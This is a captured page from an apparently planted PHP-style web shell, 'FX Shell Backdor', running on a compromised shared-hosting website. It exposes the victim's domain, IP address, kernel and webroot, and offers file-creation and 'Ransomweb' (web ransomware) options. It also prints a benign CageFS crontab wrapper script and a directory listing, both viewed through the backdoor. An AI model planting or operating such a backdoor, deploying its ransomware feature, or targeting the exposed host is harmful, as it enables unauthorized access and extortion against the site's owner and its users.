FX Shell Backdor

10:31 PM 11/9/2025 FX Shell Backdor

Website : insignia.iwmserver.info

Ip Address : 209.74.67.164

Port : 443

Kernel : Linux premium909.web-hosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : LiteSpeed

Root : /home/insivwpc/public_html/insignia.iwmserver.info

G-Interface :

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /usr/lib/.build-id/fe/

Buat File

Buat Folder

Buat Ransomweb

#!/bin/bash
##CageFS proxyexec wrapper - ver 18

if [[ $EUID -eq 0 ]]; then
    echo 'Cannot be run as root'
    exit 1
fi

USR=`/usr/bin/whoami`
CWD=`pwd`
TOKEN=`/bin/cat /var/.cagefs/.cagefs.token`
# It's user's tmp directory and write to it is secure procedure
# because this script is running only under usual user
LOCKFILE=/tmp/.crontab.lock

# automatically obtain next available fd
# previous strategy with `ulimit -n` failed
# in environment where limit is very high (e.g. 1073741816)
exec {FD}>$LOCKFILE

if [[ -e /var/.cagefs/origin ]]; then
    ORIGIN=`/bin/cat /var/.cagefs/origin`
    REMOTE="/usr/bin/ssh -F /etc/ssh/cagefs-rexec_config $USR@$ORIGIN"
else
    REMOTE=""
fi

eval "(
    /usr/bin/flock -x -w 10 $FD || exit 1
    echo -n \"\" | $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock \"$USR\" \"$CWD\" CRONTAB_CHECK $$
) $FD> $LOCKFILE"

[ $? -ne 0 ] && exit 1

eval "(
  /usr/bin/flock -x -w 10 $FD || exit 1
$REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock \"$USR\" \"$CWD\" CRONTAB_LIST $$ 2>/dev/null |cat > /var/spool/cron/$USR
) $FD> $LOCKFILE"

/usr/bin/crontab.cagefs $@

eval "(
  /usr/bin/flock -x -w 10 $FD || exit 1
if [ -e /var/spool/cron/$USR ]; then
        cat /var/spool/cron/$USR | $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock \"$USR\" \"$CWD\" CRONTAB_SAVE $$ 2>/dev/null
else
        echo -n \"\" | $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock \"$USR\" \"$CWD\" CRONTAB_SAVE $$ 2>/dev/null
fi
) $FD>$LOCKFILE"

Type	Name	options
	16f4af0cf41e838cc8a8866b9c2d7d70b9877a
	1bcaa1339d33cad50a70d2723c90a490ded035
	2aba0aa06a41bba5f9c7a6e61c16b7789e80b3
	2d84b279df6d2ae4173d672e749b74d7436c06
	2f8563d3ec9b2c7d348e260c015eb237574379
	35b3391c6826104262fa824338803292cda645
	421e2f7579952493ef111ead4f8df43fad87db
	7967e886a8edc6c7e15421a8e3564ca98d2ab1
	7c83deb7cf938f7807ee7acf0e2faaa64d679c
	8a15a1671f8bce237b3a467000d662af550b89
	8abcd9b89dbf258179373bfffa24bc45186e26
	90daa0dab8e10675c9e075ffd473ecbccb7e4f
	9236b1eb5f021123500aa5249b1bc57d0a986b
	93807e310e65e827f184ab52b32a236c4c9883
	9ec9a9b47f9250794c75e06245707907fd5c82
	a418fa6c2cd28e433fe61e9b8ee56e6ab6d85e
	a99e91abceb79fba9b6495ba275880a17d87b1
	ada27cd73dea44d79bbd45157e1091a70795b7
	b3356342088c5b7dda898af387e3edce781950
	c57bd1a7f75c5f3cb075ec6a7b54b833320f54
	ca3feabdde35e5dda4c636d1d96e3748d10189
	e3ca16c965cb8df22f7799350e57de018cd5e4
	ecb559508a2ef8c9d9825d0a51cf42129d69f3